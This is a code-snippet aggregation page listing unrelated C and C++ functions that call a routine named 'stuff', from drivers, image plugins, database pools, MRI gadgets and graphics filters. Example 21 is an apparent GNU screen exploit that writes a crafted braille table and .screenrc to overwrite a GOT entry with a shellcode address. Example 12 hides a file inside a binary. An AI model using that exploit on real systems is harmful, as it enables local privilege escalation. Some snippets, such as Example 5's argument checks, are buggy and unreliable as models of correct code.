Exemple #1
0
static int rave_sp_write(struct rave_sp *sp, const u8 *data, u8 data_size)
{
	const size_t checksum_length = sp->variant->checksum->length;
	unsigned char frame[RAVE_SP_TX_BUFFER_SIZE];
	unsigned char crc[RAVE_SP_CHECKSUM_SIZE];
	unsigned char *dest = frame;
	size_t length;

	if (WARN_ON(checksum_length > sizeof(crc)))
		return -ENOMEM;

	if (WARN_ON(data_size > sizeof(frame)))
		return -ENOMEM;

	sp->variant->checksum->subroutine(data, data_size, crc);

	*dest++ = RAVE_SP_STX;
	dest = stuff(dest, data, data_size);
	dest = stuff(dest, crc, checksum_length);
	*dest++ = RAVE_SP_ETX;

	length = dest - frame;

	print_hex_dump_debug("rave-sp tx: ", DUMP_PREFIX_NONE,
			     16, 1, frame, length, false);

	return serdev_device_write(sp->serdev, frame, length, HZ);
}
Exemple #2
0
static inline void
hip2_1 (void (*g)())
{
  int i;
  g ();
  /* Some stuff to make the function bigger so that hip1_1 gets inlined
     fiorst. */
  for (i = 0; i < get_input (); i++)
    {
      stuff (2);
      stuff (2+2);
    }
}
Exemple #3
0
bool qdbbot::refreshCache()
{

	std::cout << "qdbbot: refreshing cache" << std::endl;
	bashBuffer* buffer = webget(baseURL + "/random");

	//dump html doc into string
	std::string stuff(buffer->begin(), buffer->end());

	//dump string into string stream;
	std::stringstream html(stuff);

//	std::cout << "this is teh massive html: " << html.str();

	delete buffer; 

	std::cout << "qdbbot: parsing quotes" << std::endl;
	
	while(!html.eof())
	{
		std::cout << "qdbbot: parsed bash "<< cache->size() << std::endl;
		cacheMutex->lock();
		cache->push_back(parseQuote(&html));
		cacheMutex->unlock();
	}

	std::cout << "qdbbot: cache refreshed" << std::endl;
	std::cout << "qdbbot: cache size now " << cache->size() << std::endl;

	return true;
}
Exemple #4
0
bool FreeimagelibPlugin::LoadDoc(cpcl::IOStream *input, plcl::Doc **r) {
	FREE_IMAGE_FORMAT fif = (FREE_IMAGE_FORMAT)freeimagelib_format;
	FreeimagelibStuff stuff(input);
	boost::shared_ptr<FIBITMAP> fibitmap(FreeImage_LoadFromHandle(fif, &stuff.io, stuff.io_handle), FreeImage_Unload);
	if (!fibitmap) {
		cpcl::Error(cpcl::StringPieceFromLiteral("FreeimagelibPlugin::LoadDoc(): unable to load image"));
		return false;
	}
	
	if (FreeImage_GetImageType(fibitmap.get()) != FIT_BITMAP) {
		boost::shared_ptr<FIBITMAP> tmp(FreeImage_ConvertToType(fibitmap.get(), FIT_BITMAP), FreeImage_Unload);
		if (!tmp || (FreeImage_GetImageType(tmp.get()) != FIT_BITMAP)) {
			cpcl::Error(cpcl::StringPieceFromLiteral("FreeimagelibPlugin::LoadDoc(): unable to convert the image to FIT_BITMAP"));
			return false;
		}
		fibitmap = tmp;
	}

	unsigned int const bpp = FreeImage_GetBPP(fibitmap.get());
	if (!(bpp == 24 || bpp == 32)) {
		boost::shared_ptr<FIBITMAP> tmp((bpp > 32) ? FreeImage_ConvertTo32Bits(fibitmap.get()) : FreeImage_ConvertTo24Bits(fibitmap.get()), FreeImage_Unload);
		if (!tmp) {
			cpcl::Trace(CPCL_TRACE_LEVEL_ERROR,
				"FreeimagelibPlugin::LoadDoc(): unable to convert image with bpp %u",
				bpp);
		}
		fibitmap = tmp;
	}

	if (r)
		*r = new FreeimagelibDoc(fibitmap);
	return true;
}
Exemple #5
0
int main(char* argv[], int argc){

	stuff();

	if (argv[0] == "-x" || "-X") {
		exploit();
		return 1;
	}

	else if (argv[0] == "-b" || "-B") {
		device_autoboot();
		return 1;
	}

    else if (argv[0] == "-f" || "-F") {
        device_upload(argv[1]);
        return 1;
    }

    else {
    	printf("Command not found\n");
    	return -1;
    }


}
Exemple #6
0
int main() {
  int tab[10][100];
  int b=sizeof(int);
  int c=3;
#pragma smecy stream_loop
  while (1) {
#pragma smecy stage arg(1,out) map(PE,1)
      stuff(tab);
#pragma smecy stage arg(1,inout) map(OpenCL)
      stuff2(tab,c);
#pragma smecy stage arg(1,in) map(EdkDSP)
      stuff(tab);
  }

  return 0;
}
Exemple #7
0
void SCPUState::AddJob( u32 job )
{
	u32 stuff( AtomicBitSet( &StuffToDo, 0xffffffff, job ) );
	if( stuff != 0 )
	{
		Dynarec_SetCPUStuffToDo();
	}
}
Exemple #8
0
void SCPUState::ClearJob( u32 job )
{
	u32 stuff( AtomicBitSet( &StuffToDo, ~job, 0x00000000 ) );
	if( stuff == 0 )
	{
		Dynarec_ClearedCPUStuffToDo();
	}
}
/*
 * Retrieve a client that is connected and authenticated
 * to the specified hostname and port. Will reuse an existing connection if one is available.
 */
voltdb::Client
ConnectionPool::acquireClient(
        std::string hostname,
        std::string username,
        std::string password,
        StatusListener *listener,
        unsigned short port,
        ClientAuthHashScheme sha)
throw (voltdb::Exception, voltdb::ConnectException, voltdb::LibEventException) {
    LockGuard guard(m_lock);
    ClientSet *clients = reinterpret_cast<ClientSet*>(pthread_getspecific(m_borrowedClients));
    if (clients == NULL) {
        clients = new ClientSet();
        pthread_setspecific( m_borrowedClients, static_cast<const void *>(clients));
    }
    char portBytes[16];
    unsigned int portInt = port;
    snprintf(portBytes, 16, "%d", portInt);
    std::string identifier = hostname + "," + std::string(portBytes) + "," + username + "," + password;

    // if a thread calls acquireClient() multiple times with the same identifier, reuse the same client
    for (ClientSet::iterator i = clients->begin(); i != clients->end(); i++) {
        if ((*i)->m_identifier == identifier) {
            return (*i)->m_client;
        }
    }

    std::vector<boost::shared_ptr<ClientStuff> > *clientStuffs = &m_clients[identifier];

    while (clientStuffs->size() > 0) {
        boost::shared_ptr<ClientStuff> clientStuff = clientStuffs->back();
        clientStuffs->pop_back();

        // run the event loop once to verify the connection is still available
        clientStuff->m_client.runOnce();

        if (clientStuff->m_listener->m_connectionLost) {
            // if this connection is lost, try the next
            continue;
        } else {
            // otherwise return this connection
            clientStuff->m_listener->m_listener = listener;
            clients->push_back(clientStuff);
            return clientStuff->m_client;
        }
    }

    // no connection available, make a new one
    DelegatingStatusListener *delegatingListener = new DelegatingStatusListener();
    Client client = voltdb::Client::create(ClientConfig( username, password, delegatingListener, sha));
    client.createConnection(hostname, port);
    boost::shared_ptr<ClientStuff> stuff(new ClientStuff(client, identifier, delegatingListener));
    stuff->m_listener->m_listener = listener;
    clients->push_back(stuff);
    return client;
}
Exemple #10
0
int main(int argc, const char *argv[])
{

     // Get model in some way
     ClpInterior model;
     // Open graph and parameter files
     //FILE *fpin = fopen("./g.graph","r");
     //FILE *fpp = fopen("./gparm","r");
     FILE *fpin = fopen("./g.tiny", "r");
     FILE *fpp = fopen("./gparm.tiny", "r");
     assert(fpin);
     assert(fpp);
     myPdco stuff(model, fpin, fpp);
     Info info;
     Outfo outfo;
     Options options;


     /*
      *     Set the input parameters for LSQR.
      */
     options.gamma = stuff.getD1();
     options.delta = stuff.getD2();
     options.MaxIter = 40;
     options.FeaTol = 5.0e-4;
     options.OptTol = 5.0e-4;
     options.StepTol = 0.99;
     //  options.x0min = 10.0/num_cols;
     options.x0min = 0.01;
     options.z0min = 0.01;
     options.mu0 = 1.0e-6;
     options.LSmethod = 3;   // 1=Cholesky    2=QR    3=LSQR
     options.LSproblem = 1;  // See below
     options.LSQRMaxIter = 999;
     options.LSQRatol1 = 1.0e-3; // Initial  atol
     options.LSQRatol2 = 1.0e-6; // Smallest atol (unless atol1 is smaller)
     options.LSQRconlim = 1.0e12;
     info.atolmin = options.LSQRatol2;
     info.LSdamp = 0.0;
     // These are already set?
     model.xsize_ = 50.0 / (model.numberColumns());
     model.xsize_ = CoinMin(1.0, model.xsize_);

     /*
      *     Solve the test problem
      */
     model.pdco(&stuff, options, info, outfo);

     /*
      *     Examine the results.
      *     Print the residual norms RNORM and ARNORM given by LSQR, and then compute
      */
     return 0;
}
Exemple #11
0
int main()
{
  int y = 6;
  printf("\nAddresses in the code segment of the executable:\n",&MAX);
  printf("global &MAX is : %p\n",&MAX);
  printf("global &int_array of size 300 : %p\n",&int_array);
  printf("If you change the array size, the size of the executable changes.\n");
  printf("\nThe runtime stack grows downwards from a high address:\n");
  printf("main: &int is: %p\n\n",&y);
  stuff();
  return 0;
}
Exemple #12
0
int main(int argc, char *argv[]) {
  if (argc < 3) {
    usage(argv);
    exit(1);
  }

  struct mmap_info binary;
  strncpy(binary.name, argv[1], BUFSIZ);
  if (mmap_file_read(&binary) < 0) {
    fprintf(stderr, "Unable to open binary file: %s\n", binary.name);
    exit(1);
  }

  struct mmap_info hide;
  strncpy(hide.name, argv[2], BUFSIZ);
  if (mmap_file_read(&hide) < 0) {
    fprintf(stderr, "Unable to open hide file: %s\n", hide.name);
    exit(1);
  }

  struct mmap_info binary_out;
  snprintf(binary_out.name, BUFSIZ, "%s.new", binary.name);
  binary_out.data_size = binary.data_size +
                         adjust_size(hide.data_size, vm_page_size);
  binary_out.data = malloc(sizeof(u_char) * binary_out.data_size);
  bzero(binary_out.data, binary_out.data_size);

  if (stuff(&binary, &hide, &binary_out) < 0) {
    fprintf(stderr, "Unable to stuff binary\n");
    exit(1);
  }

  munmap_file(&binary);
  munmap_file(&hide);

  if ((binary_out.fd = open(binary_out.name, O_WRONLY | O_CREAT | O_TRUNC,
                             DEFFILEMODE)) < 0) {
    perror("open");
    fprintf(stderr, "Unable to open %s\n", binary_out.name);
    return 1;
  }
  if (write(binary_out.fd, binary_out.data, binary_out.data_size) < 0) {
    perror("write");
    fprintf(stderr, "Unable to write %s\n", binary_out.name);
    return 1;
  }

  close(binary_out.fd);
  free(binary_out.data);
  printf("PASS\n");
  return 0;
}
Exemple #13
0
static void
expand(int tag_nr)
{
    int c;

    c = peek();
    if (c == '(') {
        emits("if ");
        condition();
        emit(' ');
    }
    emit('{');
    if (methods[tag_nr][0]) {
        emits(methods[tag_nr]);
        emit('(');
        stuff();
        emits(");}");
    } else {
        stuff();
        emit('}');
    }
}
Exemple #14
0
void main(void)
{
 char string[100],string1[100];
 int length,begin;
 clrscr();
 printf("Enter string of symbols:\n");
 scanf("%s",string);
 printf("Enter number of first symbol:\n");
 scanf("%d",&begin);
 printf("Enter length:\n");
 scanf("%d",&length);
 printf("Enter new string:\n");
 scanf("%s",string1);
 stuff(string,begin,length,string1);
 printf("\nResult:\n%s\n",string);
 getch();
}
Exemple #15
0
qdbbot::bashQuote* qdbbot::bashNum(std::string number)
{
	std::cout << "qdbbot: bashnum url: " << baseURL << "/" << number << std::endl;

	bashBuffer* buffer = webget(baseURL + "/" + number);

	std::string stuff(buffer->begin(), buffer->end());

	//dump string into string stream;
	std::stringstream html(stuff);
	
	std::cout << "qdbbot: bashnum is parsing the quote" << std::endl;
	qdbbot::bashQuote* quote = parseQuote(&html);

	delete buffer;

	return quote;
}
Exemple #16
0
std::string qdbbot::search(std::string searchString)
{
	std::cout << "qdbbot: serch url: " << baseURL << "/?search=" << searchString << "&sort=0&show=25" << std::endl;

	//use libcurl to grap the web page
	std::cout << "qdbbot: search: fetching the page" << std::endl;

	bashBuffer* buffer = webget(baseURL + "/search?q=" 
			+ searchString);

	//lib curl gave us the buffer, now lets dump it into a string
	std::cout << "qdbbot: search: putting buffer contents into a string" << std::endl;

	std::string stuff(buffer->begin(), buffer->end());

	//dump string into string stream;
	std::cout << "qdbbot: search: building a string stream" << std::endl;

	std::stringstream html(stuff);

	//strip the numbers out of the search
	std::cout << "qdbbot: search: stripping the numbers" << std::endl;

	std::vector<std::string> nums = getBashNums(html);

	//build the string
	std::cout << "qdbbot: search: building the bash string" << std::endl;

	std::string line = "| QDB |: "; 
	for(unsigned int i = 0; i < nums.size(); ++i )
	{
		line += nums[i] + " ";
	}

	//delete the bash buffer now that we're done with it
	delete buffer;

	//return the string of bash numbers
	std::cout << "qdbbot: search: returned" << std::endl;
	return line;
}
void EFighter::Update()
{
	if(active)
	{
		attackTimer++;
		//do stuff
		XMFLOAT3 stuff(worldPTR->playerShip->pos.x - pos.x, worldPTR->playerShip->pos.y - pos.y, worldPTR->playerShip->pos.z - pos.z);
		XMVECTOR forward = XMLoadFloat3(&stuff);
		float mag = sqrt(stuff.x*stuff.x + stuff.y*stuff.y + stuff.z*stuff.z);
		stuff.x = (stuff.x/mag)*MAX_SPEED;
		stuff.y = (stuff.y/mag)*MAX_SPEED;
		stuff.z = (stuff.z/mag)*MAX_SPEED;

		pos = XMFLOAT3(pos.x + stuff.x, pos.y + stuff.y, pos.z + stuff.z);

	}

	//std::vector<Projectile*> projs = worldPTR->projManager.GetProjs();

	

}
  int BucketToBufferGadget
  ::process(GadgetContainerMessage<IsmrmrdAcquisitionBucket>* m1)
  {

    size_t key;
    std::map<size_t, GadgetContainerMessage<IsmrmrdReconData>* > recon_data_buffers;

    //GDEBUG("BucketToBufferGadget::process\n");

    //Some information about the bucket
    //GDEBUG_STREAM("The Reference part: " << m1->getObjectPtr()->refstats_.size() << std::endl);
    //GDEBUG_STREAM("   nslices: " << m1->getObjectPtr()->refstats_[0].slice.size() << std::endl);
    //for (int e=0; e<m1->getObjectPtr()->refstats_.size() ; e++) {
    //    for (std::set<uint16_t>::iterator it = m1->getObjectPtr()->refstats_[e].kspace_encode_step_1.begin();
    //         it != m1->getObjectPtr()->refstats_[e].kspace_encode_step_1.end(); ++it) {
    //        GDEBUG_STREAM("   K1: " <<  *it << std::endl);
    //    }
    //}
    //GDEBUG_STREAM("The data part: " << m1->getObjectPtr()->datastats_.size() << std::endl);
    //GDEBUG_STREAM("   nslices: " << m1->getObjectPtr()->datastats_[0].slice.size() << std::endl);
    //for (int e=0; e<m1->getObjectPtr()->datastats_.size() ; e++) {
    //    for (std::set<uint16_t>::iterator it = m1->getObjectPtr()->datastats_[e].kspace_encode_step_1.begin();
    //         it != m1->getObjectPtr()->datastats_[e].kspace_encode_step_1.end(); ++it) {
    //        GDEBUG_STREAM("   K1: " <<  *it << std::endl);
    //    }
    //}

    //Iterate over the reference data of the bucket
    IsmrmrdDataBuffered* pCurrDataBuffer = NULL;
    for (std::vector<IsmrmrdAcquisitionData>::iterator it = m1->getObjectPtr()->ref_.begin();
        it != m1->getObjectPtr()->ref_.end(); ++it)
    {
        //Get a reference to the header for this acquisition
        ISMRMRD::AcquisitionHeader & acqhdr = *it->head_->getObjectPtr();

        //Generate the key to the corresponding ReconData buffer
        key = getKey(acqhdr.idx);

        //The storage is based on the encoding space
        uint16_t espace = acqhdr.encoding_space_ref;

        //GDEBUG_STREAM("espace: " << acqhdr.encoding_space_ref << std::endl);
        //GDEBUG_STREAM("slice: " << acqhdr.idx.slice << std::endl);
        //GDEBUG_STREAM("rep: " << acqhdr.idx.repetition << std::endl);
        //GDEBUG_STREAM("k1: " << acqhdr.idx.kspace_encode_step_1 << std::endl);
        //GDEBUG_STREAM("k2: " << acqhdr.idx.kspace_encode_step_2 << std::endl);
        //GDEBUG_STREAM("seg: " << acqhdr.idx.segment << std::endl);
        //GDEBUG_STREAM("key: " << key << std::endl);

        //Get some references to simplify the notation
        //the reconstruction bit corresponding to this ReconDataBuffer and encoding space
        IsmrmrdReconBit & rbit = getRBit(recon_data_buffers, key, espace);
        //and the corresponding data buffer for the reference data
        if (!rbit.ref_)
            rbit.ref_ = IsmrmrdDataBuffered();
        IsmrmrdDataBuffered & dataBuffer = *rbit.ref_;
        //this encoding space's xml header info
        ISMRMRD::Encoding & encoding = hdr_.encoding[espace];
        //this bucket's reference stats
        IsmrmrdAcquisitionBucketStats & stats = m1->getObjectPtr()->refstats_[espace];

        //Fill the sampling description for this data buffer, only need to fill the sampling_ once per recon bit
        if (&dataBuffer != pCurrDataBuffer)
        {
            fillSamplingDescription(dataBuffer.sampling_, encoding, stats, acqhdr, true);
            pCurrDataBuffer = &dataBuffer;
        }

        //Make sure that the data storage for this data buffer has been allocated
        //TODO should this check the limits, or should that be done in the stuff function?
        allocateDataArrays(dataBuffer, acqhdr, encoding, stats, true);

        // Stuff the data, header and trajectory into this data buffer
        stuff(it, dataBuffer, encoding, stats, true);
      }


    //Iterate over the imaging data of the bucket
    // this is exactly the same code as for the reference data except for
    // the chunk of the data buffer.
    pCurrDataBuffer = NULL;
    for (std::vector<IsmrmrdAcquisitionData>::iterator it = m1->getObjectPtr()->data_.begin();
        it != m1->getObjectPtr()->data_.end(); ++it)
    {
        //Get a reference to the header for this acquisition
        ISMRMRD::AcquisitionHeader & acqhdr = *it->head_->getObjectPtr();

        //Generate the key to the corresponding ReconData buffer
        key = getKey(acqhdr.idx);

        //The storage is based on the encoding space
        uint16_t espace = acqhdr.encoding_space_ref;

        //GDEBUG_STREAM("espace: " << acqhdr.encoding_space_ref << std::endl);
        //GDEBUG_STREAM("slice: " << acqhdr.idx.slice << std::endl);
        //GDEBUG_STREAM("rep: " << acqhdr.idx.repetition << std::endl);
        //GDEBUG_STREAM("k1: " << acqhdr.idx.kspace_encode_step_1 << std::endl);
        //GDEBUG_STREAM("k2: " << acqhdr.idx.kspace_encode_step_2 << std::endl);
        //GDEBUG_STREAM("seg: " << acqhdr.idx.segment << std::endl);
        //GDEBUG_STREAM("key: " << key << std::endl);

        //Get some references to simplify the notation
        //the reconstruction bit corresponding to this ReconDataBuffer and encoding space
        IsmrmrdReconBit & rbit = getRBit(recon_data_buffers, key, espace);
        //and the corresponding data buffer for the imaging data
        IsmrmrdDataBuffered & dataBuffer = rbit.data_;
        //this encoding space's xml header info
        ISMRMRD::Encoding & encoding = hdr_.encoding[espace];
        //this bucket's imaging data stats
        IsmrmrdAcquisitionBucketStats & stats = m1->getObjectPtr()->datastats_[espace];

        //Fill the sampling description for this data buffer, only need to fill sampling_ once per recon bit
        if (&dataBuffer != pCurrDataBuffer)
        {
            fillSamplingDescription(dataBuffer.sampling_, encoding, stats, acqhdr, false);
            pCurrDataBuffer = &dataBuffer;
        }

        //Make sure that the data storage for this data buffer has been allocated
        //TODO should this check the limits, or should that be done in the stuff function?
        allocateDataArrays(dataBuffer, acqhdr, encoding, stats, false);

        // Stuff the data, header and trajectory into this data buffer
        stuff(it, dataBuffer, encoding, stats, false);
      }


    //Send all the ReconData messages
    GDEBUG("End of bucket reached, sending out %d ReconData buffers\n", recon_data_buffers.size());
    for(std::map<size_t, GadgetContainerMessage<IsmrmrdReconData>* >::iterator it = recon_data_buffers.begin(); it != recon_data_buffers.end(); it++)
      {
        //GDEBUG_STREAM("Sending: " << it->first << std::endl);
        if (it->second) {

            size_t num_rbit = it->second->getObjectPtr()->rbit_.size();
            size_t total_data = 0;
            for (size_t r=0; r<num_rbit; r++)
            {
                total_data += it->second->getObjectPtr()->rbit_[r].data_.data_.get_number_of_elements();
                if(it->second->getObjectPtr()->rbit_[r].ref_) total_data += it->second->getObjectPtr()->rbit_[r].ref_.get().data_.get_number_of_elements();
            }

            if(total_data>0)
            {
                if (this->next()->putq(it->second) == -1) {
                    it->second->release();
                    throw std::runtime_error("Failed to pass bucket down the chain\n");
                }
            }
        }
      }

    //Clear the recondata buffer map
    recon_data_buffers.clear();  // is this necessary?

    //We can release the incoming bucket now. This will release all of the data it contains.
    m1->release();

    return GADGET_OK;
  }
Exemple #19
0
int Grid::fit(char *s) {
	int ii, jj, dd;
	int i, j, d;

	int score = -1;
	int l = strlen(s);
	int good_fits = 0;

	/* Try ten random places first. */

	for (int r = 0; r < 10; r++) {
		i = rand() % max;
		j = rand() % max;
		d = rand() % hardness;

		int sc = fits(l, s, i, j, d);

		if (sc > score) {
			ii = i;
			jj = j;
			dd = d;
			score = sc;
			good_fits++;
		}
	}

	/*
	 Now begin a methodical search - but start it at a random
	 place so they don't all pack consecutively into the grid
	 */

	int xi, xj, xd;

	for (xi = 0, i = rand() % max; xi < max; xi++, i = (i + 1) % max)
		for (xj = 0, j = rand() % max; xj < max; xj++, j = (j + 1) % max) {
			if (letter[i][j] == ' ' || letter[i][j] == s[0])
				for (xd = 0, d = rand() % hardness; xd < hardness;
						xd++, d = (d + 1) % hardness) {
					int sc = fits(l, s, i, j, d);

					if (sc > score) {
						ii = i;
						jj = j;
						dd = d;
						score = sc;
						good_fits++;
					}

					/*
					 Finish if we find the *perfect* place - or if
					 we only found a ton of mediocre places.
					 */

					if (score >= l || (score > 0 && good_fits > 100 / score)
							|| good_fits > 1000) {
						stuff(l, s, ii, jj, dd);
						return TRUE;
					}
				}
		}

	if (score >= 0)
		stuff(l, s, ii, jj, dd);

	return score >= 0;
}
Exemple #20
0
//////////////////////////LLWRITE///////////////////////////////////////////////////////
int llwrite(data toSend){
    
    data encapsData;
    encapsData.length = 6 + toSend.length;
    unsigned int i = 0;
    unsigned int posAfterData = 4 + toSend.length;
    
    
    encapsData.buf[0]=FLAG;
    encapsData.buf[1]=A_INFOR;
    
    if(Ns == 1)
    encapsData.buf[2] = C_INFOR_S1;
    if(Ns == 0)
    encapsData.buf[2] = C_INFOR_S0;
    char bcc_2;
    bcc_2 = ((encapsData.buf[1])^(encapsData.buf[2]));
    encapsData.buf[3] = bcc_2;
    
    while(i < toSend.length){
        encapsData.buf[4+i] = toSend.buf[i];
        i++;
    }
    
    encapsData.buf[posAfterData] = get_BCC2(toSend);
    
    encapsData.buf[posAfterData + 1] = FLAG;
    
    
    ///////////////////////////////////
    data stuffedData = stuff(encapsData);
    
    set_tentativas(3);
    set_alarm_flag(1);
    unsigned int state = 0;
    unsigned char fragment,temp_c,temp_a;
    int read_all = 0;
    while(get_tentativas() > 0 && read_all==0){
        
        while(write(link_layer.fd,stuffedData.buf,stuffedData.length) <= 0){}
        if(get_alarm_flag()){
            alarm(program.timeout);                 // activa alarme de 3s
            set_alarm_flag(0);
        }
        
        unsigned int state = 0;
        STOP = FALSE;
        while(STOP==FALSE && !get_alarm_flag()){
            //printf("entra na maquina de estadosn");
            if(state < 5) read(link_layer.fd,&fragment,1);
            //printf("State: %dn", state);
            switch(state){
                case 0:
                if(fragment==FLAG){
                    state = 1;
                }
                break;
                
                case 1:
                if(fragment==A_SUPER){
                    temp_a = A_SUPER;
                    state = 2;
                    break;
                }
                if(fragment==FLAG)
                state = 1;
                else
                state = 0;
                break;
                
                
                case 2:
                if(Ns == 1){
                    if(fragment==C_SUPER_RR_R0){
                        temp_c = C_SUPER_RR_R0;
                        state = 3;
                        break;
                    }
                    if(fragment==C_SUPER_REJ_R0){
                        temp_c = C_SUPER_REJ_R0;
                        state = 3;
                        break;
                    }
                }
                if(Ns == 0){
                    if(fragment == C_SUPER_RR_R1){
                        temp_c = C_SUPER_RR_R1;
                        state = 3;
                        break;
                    }
                    if(fragment==C_SUPER_REJ_R1){
                        temp_c = C_SUPER_REJ_R1;
                        state = 3;
                        break;
                    }
                }
                
                if(fragment==FLAG)
                state = 1;
                else
                state = 0;
                break;
                
                case 3:
                if(fragment==(temp_c ^ temp_a)){
                    state = 4;
                    break;
                }
                if(fragment==FLAG)
                state = 1;
                else
                state = 0;
                break;
                
                case 4:
                if(fragment==FLAG){
                    state = 5;
                break;}
                else
                state = 0;
                break;
                
                case 5:
                STOP=TRUE;
                read_all = 1;
                alarm(0);
                break;
            }
        }
    }
    
    if(read_all != 1 || temp_c == C_SUPER_REJ_R1 || temp_c == C_SUPER_REJ_R0){
        return -1;
    }
    
    Ns ^= 1;
    return encapsData.length;
}
Exemple #21
0
int
main(int argc, char **argv)
{
	char *a, *tmp, buf[64], store[10], c;
	unsigned long address;
	unsigned int w[4];
	int i, b, start;	
	FILE *fd;

	if(argc == 1) {
		fprintf(stderr, "\n%s [ -p ] [ -f ] [ -a <shellcode address> -o <offset to GOT address> ]\n\n", argv[0]);
		fprintf(stderr, "-p switch places shellcode into memory\n");
		fprintf(stderr, "-f switch finds shellcode address\n\n");
		fprintf(stderr, "No switch runs exploit with options:\n");
		fprintf(stderr, "\t-a <shellcode address>\n");
		fprintf(stderr, "\t-o <offset to GOT address>\n\n");
		exit(0);
	}
	
	start = OFFSET;
	
	while((c = getopt(argc, argv, "pfa:o:")) != EOF) {
		switch(c) {
			case 'p':
				stuff(PUT);
				exit(0);
			case 'f':
				stuff(FIND);
				exit(0);
			case 'a':
				sscanf(optarg, "%p", &tmp);
				address = (long)tmp;
				break;
			case 'o':
				start = atoi(optarg);
				break;
			default:
				fprintf(stderr, "hehehehe?\n");
				exit(0);
		}
	}
				
			
	fprintf(stderr, ". preparing evil braille table\n");

	if((fd = fopen(TABLE, "w")) == NULL) {
                perror("fopen");
                exit(1);
        }

	fprintf(stderr, ". converting: 0x%lx into braille table strings\n", address); 
 
	w[0] = (address & 0x000000ff);
        w[1] = (address & 0x0000ff00) >> 8;
        w[2] = (address & 0x00ff0000) >> 16;
        w[3] = (address & 0xff000000) >> 24;
	
	for(i = 0; i < 4; i++) { 
		memset(store, 'o', 9);
		bta(w[i], store);
		memset(buf, '\0', sizeof(buf));
		snprintf(buf, sizeof(buf), "%d ff %s\n", start+i, store);
		fprintf(stderr, ". writing to braille table: %s", buf);
		fprintf(fd, "%s", buf);
	}
	
	fclose(fd);
	
	fprintf(stderr, ". preparing evil .screenrc\n");
		
	if((fd = fopen(SCREENRC, "w")) == NULL) {
                perror("fopen");
                exit(1);
        }
	
	fprintf(fd, "bd_start_braille on\n");
	memset(buf, '\0', sizeof(buf));
	snprintf(buf, sizeof(buf), "bd_braille_table %s\n", TABLE);
	fprintf(fd, "%s", buf);
	fprintf(fd, "bd_type powerbraille_40\n");
	fprintf(fd, "bd_port /dev/ttyS0\n");
	fclose(fd);
	
	fprintf(stderr, ". now exploiting blind, hehehe\n");
	
	if(execl(SCREEN, "screen", "-c", SCREENRC, NULL)) {
		fprintf(stderr, ". error executing\n");
		exit(1);
	} 
}
Exemple #22
0
inline std::unique_ptr<base> value() {
    std::unique_ptr<derived<T>> stuff(new derived<T>());
    stuff->action(store<T>{});
    return std::unique_ptr<base>{std::move(stuff)};
}
Exemple #23
0
static int hiphip (void (*f)())
{
  return stuff (2);
}
Exemple #24
0
void filterRedEye(unsigned char *src, unsigned char *dest, int iw, int ih, short *rect) {
    int recX = rect[0], recY = rect[1], recW = rect[2], recH = rect[3];
    unsigned char *mask1 = (unsigned char *) malloc(recW * recH);
    unsigned char *mask2 = (unsigned char *)malloc(recW*recH);
    int QUE_LEN = 100;
    int y, x, i;

    rect[0] = MAX(rect[0],0);
    rect[1] = MAX(rect[1],0);
    rect[2] = MIN(rect[2]+rect[0],iw)-rect[0];
    rect[3] = MIN(rect[3]+rect[1],ih)-rect[1];

    findReds(src, mask2, iw, ih, rect);
    dialateMask(mask2, mask1, recW, recH);
    dialateMask(mask1, mask2, recW, recH);
    dialateMask(mask2, mask1, recW, recH);
    dialateMask(mask1, mask2, recW, recH);
    findPossible(src, mask2, iw, ih, rect);
    dialateMask(mask2, mask1, recW, recH);

    for (i = 0; i < 12; i++) {
        dialateMaskIfRed(src, iw, ih, mask1, mask2, rect);
        dialateMaskIfRed(src, iw, ih, mask2, mask1, rect);
    }
    dialateMask(mask1, mask2, recW, recH);
    dialateMask(mask2, mask1, recW, recH);

    for (y = 3; y < recH-3; y++) {
        int sy = (recY + y) * iw;
        for (x = 3; x < recW-3; x++) {
            int p = (recX + x + sy) * 4;

            int b = src[p + 2];
            int g = src[p + 1];
            int r = src[p];

            if (mask1[x + y * recW] != 0) {
                int m = MAX(g,b);
                float rr = (r - m) / (float) m;
                if (rr > .7f && g < 60 && b < 60) {
                    dest[p + 2] = (0);
                    dest[p + 1] = (0);
                    dest[p] = (0);
                } else {
                    if (mask2[x + y * recW] != 0) {
                        stuff(r / 2, g / 2, b / 2, dest, p);
                    } else
                        stuff((2 * r) / 3, (2 * g) / 3, (2 * b) / 3, dest, p);
                }

            } else
                stuff(r, g, b, dest, p);

            //dest[p + 2] = dest[p + 1] =dest[p]=src[p];
        }

    }

    free(mask1);
    free(mask2);
}
void CedExporter::CleanObjectLists(CeMap* cedFile)
{
#ifdef _CEDIT
	// Generate an index of valid objects
	CMapPtrToPtr validData;
	LoadValidData(validData, cedFile);

	// Scan again for lists. For each list, count how many refer to
	// invalid objects

	void* ptr=0;
	os_typespec* curts=0;
	os_int32 count=0;
	os_object_cursor c(os_database::of(cedFile));
	int nBad = 0;
	int nCheck = 0;
	int nSkip = 0;

	for ( c.first(); c.more(); c.next() )
	{
		if ( c.current(ptr,curts,count) )
		{
			if (count > 1)
			{
				int junk = 0;
				continue;
			}

			nCheck++;
			CeClass* pc = (CeClass*)ptr;
			objectstore::touch(pc, false);

			if (ptr == (void*)0x3039a900 ||
				ptr == (void*)0x30399b88 ||
				ptr == (void*)0x30399660 ||
				ptr == (void*)0x303988c0 ||
				ptr == (void*)0x30398df8)
			{
				nSkip++;
				continue;
			}

			CeObjectList* pList = dynamic_cast<CeObjectList*>(pc);
			if (pList)
			{
				CeFixedArray<CeClass*> stuff(*pList);
				UINT4 numobj = stuff.GetCount();

				for ( UINT4 i=0; i<numobj; i++ )
				{
					void* pThing = (void*)stuff[i];
					void* pRes;
					if (!validData.Lookup(pThing, pRes))
						nBad++;
				}
			}
		}
	}

	CString t;
	t.Format("Number of bad refs=%d (nCheck=%d) (nSkip=%d)", nBad, nCheck, nSkip);
	AfxMessageBox(t);

#endif
}
TEST(IEStackString, ConcatIndexOf)
{
	// Concat
	IEStackString<7> string1 = "123";
	IEStackString<7> string2 = "568";
	IEStackString<7> result = string1.Concatenate<7>(string2);
	IEStackString<7> death;

	EXPECT_EQ('1', result.CharAt(0));
	EXPECT_EQ('2', result.CharAt(1));
	EXPECT_EQ('3', result.CharAt(2));
	EXPECT_EQ('5', result.CharAt(3));
	EXPECT_EQ('6', result.CharAt(4));
	EXPECT_EQ('8', result.CharAt(5));
	EXPECT_EQ(6, result.Length());
	EXPECT_DEATH(death = result.Concatenate<7>(string1), IE_TEST_ASSERT_FAIL_STRING);
	
	// First Index Of
	IEStackString<> findString = "kas takas as pas lapas";
	// Char
	EXPECT_EQ(1, findString.FirstIndexOf('a'));
